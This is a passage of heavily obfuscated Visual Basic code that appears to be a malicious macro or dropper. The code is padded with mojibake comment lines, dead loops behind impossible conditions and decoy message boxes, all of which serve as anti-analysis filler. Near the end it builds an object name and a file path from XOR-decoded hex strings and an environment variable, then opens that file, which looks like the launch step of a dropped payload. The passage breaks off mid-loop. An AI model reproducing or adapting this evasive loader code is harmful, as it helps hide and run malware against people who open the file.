  866. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  867. Next pPyvguCL
  868. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  869.        MsgBox ("WVpGHdYG42")
  870. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  871. End If
  872. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  873. If Len("TVUgZEQT6646") = Len("uApAQzps") Then
  874. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  875. Dim rqNAFZNG As Integer
  876. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  877. For rqNAFZNG = 0 To 9
  878. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  879. Dim kDgKmVDl As Integer
  880. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  881. For kDgKmVDl = 0 To 5
  882. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  883. DoEvents
  884. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  885. Next kDgKmVDl
  886. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  887. DoEvents
  888. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  889. Next rqNAFZNG
  890. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  891. Dim LREPQllN As Integer
  892. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  893. For LREPQllN = 0 To 1
  894. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  895. DoEvents
  896. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  897. Next LREPQllN
  898. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  899.       MsgBox ("Error !!!")
  900. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  901. End If
  902. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  903. Dim PZwCFXUx As Integer
  904. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  905. For PZwCFXUx = 0 To 8
  906. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  907. Dim kGynXKLL As Integer
  908. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  909. For kGynXKLL = 0 To 5
  910. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  911. DoEvents
  912. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  913. Next kGynXKLL
  914. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  915. DoEvents
  916. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  917. Next PZwCFXUx
  918. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  919. Dim QvTEflYZ As Integer
  920. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  921. For QvTEflYZ = 0 To 6
  922. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  923. DoEvents
  924. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  925. Next QvTEflYZ
  926. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  927.    Close #FPBPEDJWSVG
  928. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  929.  
  930. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  931. If 995325 = 995325 + 1 Then End
  932. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  933. If 9595 < 33 Then
  934. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  935. Dim MlFxmIPE As Integer
  936. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  937. For MlFxmIPE = 0 To 1
  938. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  939. Dim JKlcBayQ As Integer
  940. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  941. For JKlcBayQ = 0 To 7
  942. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  943. DoEvents
  944. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  945. Next JKlcBayQ
  946. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  947. DoEvents
  948. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  949. Next MlFxmIPE
  950. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  951. Dim bMubKxLb As Integer
  952. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  953. For bMubKxLb = 0 To 6
  954. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  955. DoEvents
  956. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  957. Next bMubKxLb
  958. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  959.        MsgBox ("PFFvNcqz44")
  960. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  961. End If
  962. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  963. If Len("jrKcoHul4868") = Len("scjezXlU") Then
  964. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  965. Dim GCoMqQzV As Integer
  966. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  967. For GCoMqQzV = 0 To 3
  968. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  969. Dim VarDWFmf As Integer
  970. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  971. For VarDWFmf = 0 To 5
  972. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  973. DoEvents
  974. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  975. Next VarDWFmf
  976. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  977. DoEvents
  978. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  979. Next GCoMqQzV
  980. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  981. Dim wjdeZsVL As Integer
  982. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  983. For wjdeZsVL = 0 To 9
  984. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  985. DoEvents
  986. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  987. Next wjdeZsVL
  988. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  989.       MsgBox ("Error !!!")
  990. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  991. End If
  992. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  993. Dim AZCHHChm As Integer
  994. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  995. For AZCHHChm = 0 To 1
  996. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  997. Dim gpjPWdAf As Integer
  998. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  999. For gpjPWdAf = 0 To 7
  1000. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1001. DoEvents
  1002. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1003. Next gpjPWdAf
  1004. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1005. DoEvents
  1006. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1007. Next AZCHHChm
  1008. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1009. Dim crjOBVUy As Integer
  1010. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1011. For crjOBVUy = 0 To 9
  1012. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1013. DoEvents
  1014. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1015. Next crjOBVUy
  1016. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1017.    
  1018. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1019.  
  1020. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1021. If 644937 = 644937 + 1 Then End
  1022. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1023. If 9139 < 66 Then
  1024. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1025. Dim QlhhxIlZ As Integer
  1026. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1027. For QlhhxIlZ = 0 To 3
  1028. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1029. Dim coJDeCeK As Integer
  1030. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1031. For coJDeCeK = 0 To 9
  1032. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1033. DoEvents
  1034. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1035. Next coJDeCeK
  1036. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1037. DoEvents
  1038. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1039. Next QlhhxIlZ
  1040. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1041. Dim YrJSyIoQ As Integer
  1042. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1043. For YrJSyIoQ = 0 To 2
  1044. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1045. DoEvents
  1046. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1047. Next YrJSyIoQ
  1048. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1049.        MsgBox ("NwPGkyOS56")
  1050. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1051. End If
  1052. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1053. If Len("jTsXlGNM1989") = Len("KpFpAfvn") Then
  1054. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1055. Dim EjanCGWz As Integer
  1056. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1057. For EjanCGWz = 0 To 7
  1058. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1059. Dim BCmbEitO As Integer
  1060. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1061. For BCmbEitO = 0 To 8
  1062. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1063. DoEvents
  1064. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1065. Next BCmbEitO
  1066. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1067. DoEvents
  1068. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1069. Next EjanCGWz
  1070. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1071. Dim dlnajKdE As Integer
  1072. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1073. For dlnajKdE = 0 To 2
  1074. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1075. DoEvents
  1076. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1077. Next dlnajKdE
  1078. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1079.       MsgBox ("Error !!!")
  1080. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1081. End If
  1082. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1083. Dim EjVSyDTp As Integer
  1084. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1085. For EjVSyDTp = 0 To 7
  1086. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1087. Dim lUFBfTfP As Integer
  1088. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1089. For lUFBfTfP = 0 To 5
  1090. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1091. DoEvents
  1092. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1093. Next lUFBfTfP
  1094. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1095. DoEvents
  1096. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1097. Next EjVSyDTp
  1098. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1099. Dim VeKFJtqR As Integer
  1100. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1101. For VeKFJtqR = 0 To 1
  1102. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1103. DoEvents
  1104. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1105. Next VeKFJtqR
  1106. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1107. Set hvUHVIKdfg = CreateObject(XORI(Hextostring("1E2A3321287F223D323A24273017242D38"), Hextostring("4D42564D445163")))
  1108. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1109.  
  1110. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1111. hvUHVIKdfg.Open Environ(XORI(Hextostring("1E3D271B"), Hextostring("4A786A4B6874"))) & XORI(Hextostring("2C1E252F13113A15343D080E5E220B12"), Hextostring("70477377514B"))
  1112. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1113.  
  1114. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1115. If 627487 = 627487 + 1 Then End
  1116. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1117. If 3933 < 33 Then
  1118. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1119. Dim bStikQWF As Integer
  1120. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1121. For bStikQWF = 0 To 4
  1122. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1123. Dim vaANgjPZ As Integer
  1124. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1125. For vaANgjPZ = 0 To 4
  1126. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1127. DoEvents
  1128. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1129. Next vaANgjPZ
  1130. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1131. DoEvents
  1132. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1133. Next bStikQWF
  1134. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1135. Dim TgKSeyNn As Integer
  1136. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1137. For TgKSeyNn = 0 To 5
